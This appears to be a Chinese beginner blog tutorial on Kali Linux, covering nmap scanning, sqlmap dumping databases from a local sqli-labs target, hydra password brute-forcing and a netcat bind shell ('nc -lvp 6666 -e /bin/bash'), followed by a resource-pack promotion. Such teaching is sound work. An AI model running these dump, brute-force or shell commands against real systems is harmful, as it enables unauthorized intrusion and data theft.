相信很多同学了解到和学习网络安全的时候都听过kali系统,大家都称之为黑客最喜爱的系统,那么什么是kali,初学者用kali能做些什么,我将在本文中做简单的介绍
Kali Linux 是专门用于渗透测试的Linux操作系统,它由BackTrack发展而来。在整合了IWHAX、WHOPPIX和Auditor这三种渗透测试专用Live Linux后,BackTrack正式改名为Kali LInux。没错,kali的本质也是linux系统,就好比以前的黑客经常使用一些工具,久而久之的大家就共同开源了一个集成了各种黑客工具系统。至于为什么黑客都喜欢使用kali,主要是在kali中工具齐全避免了在需要使用的时候发现工具需要再下载安装的麻烦
kali的官网地址:https://www.kali.org
目前kali仍然在保持着更新,目前最新的kali系统为kali purple,里面继承了更多的防守方使用的工具。
下载解压后用vm打开即可,默认root账号密码均为kali,kali。没有用过VMware的同学可以先到网上学习如何下载vm。另外新手可能会遇到虚拟机没有网络的问题,新手我这里推荐配置网卡时选择直接连接,等之后了解到网卡网段的知识可以再自己配置想要的网卡信息。(左上角虚拟机,设置,网络适配器,桥接模式,复制物理网络连接状态)
正如刚才所说,kali里集成了大量的黑客工具和网络安全相关工具,可以说黑客需要做的所有事情在这个系统中都有工具可以实现。下面我推荐几个新手入门可以用到的小工具。
nmap被称为诸神之眼,是一款非常强大的网络探测工具,可以实现主机发现和端口扫描,同时自身也可带漏洞扫描的脚本可以完成对主机端口的漏洞扫描
nmap最基础用法:
nmap [目的ip]nmap 192.168.1.10nmap [目的网段]nmap 192.168.1.0/24
map也提供了大量的扫描时候可以设置的参数,下面将举例常用的参数:
添加参数可以显示出不同的扫描结果
sqlmap是针对sql注入漏洞的一款自动化sql注入探测工具,支持多种操作系统环境和多种数据库的漏洞探测,渗透测试人员常常调侃“没有什么操作技术,就是sqlmap一把梭哈,屏幕显示绿了就直接下班”
sqlmap的基本使用:
sqlmap -u "www.baidu.com"
大家尽量不要在未授权的情况下去对公网资产进行批量扫描,小心去踩缝纫机哦
下面我以sqli-lab里面的靶场为例:
出现图中绿色信息说明sqlmap对该参数成功注入,注意我的url中在最后以GET方式输入了参数id(/?id),如果不给sqlmap提供参数sqlmap是无法使用的哦
找到注入点后的步骤基本是确定的
sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1" --dbs #获取当前数据库服务所开启的数据库名称 sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1" -D 数据库名 --tables #获取某数据库下的所有表名 sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1" -D 数据库名 -T 表名 --columns #获取D数据库下T表内的所有字段sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1" -D 数据库名 -T 表名 -C 字段名 --dump #将该字段的内容全部获取出来并存储,在最后的信息中会有存储路径信息
第一步获取数据库:
第二步获取数据库下表名:
第三步获取该表字段(其实到表名这一步可以直接–dump获取表里所有内容)
所以sqlmap的使用难处在于如何找到注入点,也就是找到产生sql注入的参数,在例子里参数是GET方式上传的“id”参数,下面提供一些sqlmap常用的参数
hydra又称九头蛇,是一款非常高效的多种协议都可以使用的爆破工具,对指定ip的指定服务进行爆破,需要输入爆破使用的字典或者自己指定爆破使用的数据(比如在已知账号为admin时爆破密码)
在kali中hydra有图形化和命令行两种使用方式
对于新手来说,图形化界面更加简易好用,下面介绍图形化使用
之后选择start就好了,hydra会使用字典中的所有账号密码去做登陆的爆破尝试
netcat简称nc,是一款目前最常用网络工具,它提供基于socket协议套接字针对TCP,UDP连接的网络使用,在具有nc使用权时几乎可以建立任何类型的连接,通常在渗透测试中用该工具获得目的ip的shell
nc简单使用方式:建立连接传输信息
主机1:开启对6666端口的监听
nc -lvp 6666
参数解释:
主机2:连接主机1的6666端口
nc 192.168.0.163 6666
nc常用使用:获取远程主机shell
1.正向连接shell
主机1:
nc -lvp 6666 -e /bin/bash
参数解释:
这里将主机1的/bin/bash重定向到了自己主机的6666端口
主机2:
nc 192.168.0.163 6666
大家可以思考一下为什么左边会有下面的报错呢?并且在执行sudo su尝试进入root权限时,必须在左侧主机输入密码才可以进入,进入后才会收到来自右侧发来的密码kali并且产生报错。可以尝试了解不同终端bash/zsh/sh的区别
朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,路线图上的每一个知识点,我都有配套的视频讲解。
技术文档也是我自己整理的,包括我参加护网行动、CTF和挖SRC漏洞的经验和技术要点。
网安方面的电子书我也收藏了200多本,基本上热门的和经典的我都有,也可以共享。
学习网安技术最忌讳纸上谈兵,而在项目实战中,既能学习又能获得报酬的CTF比赛无疑是最好的试金石!
这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~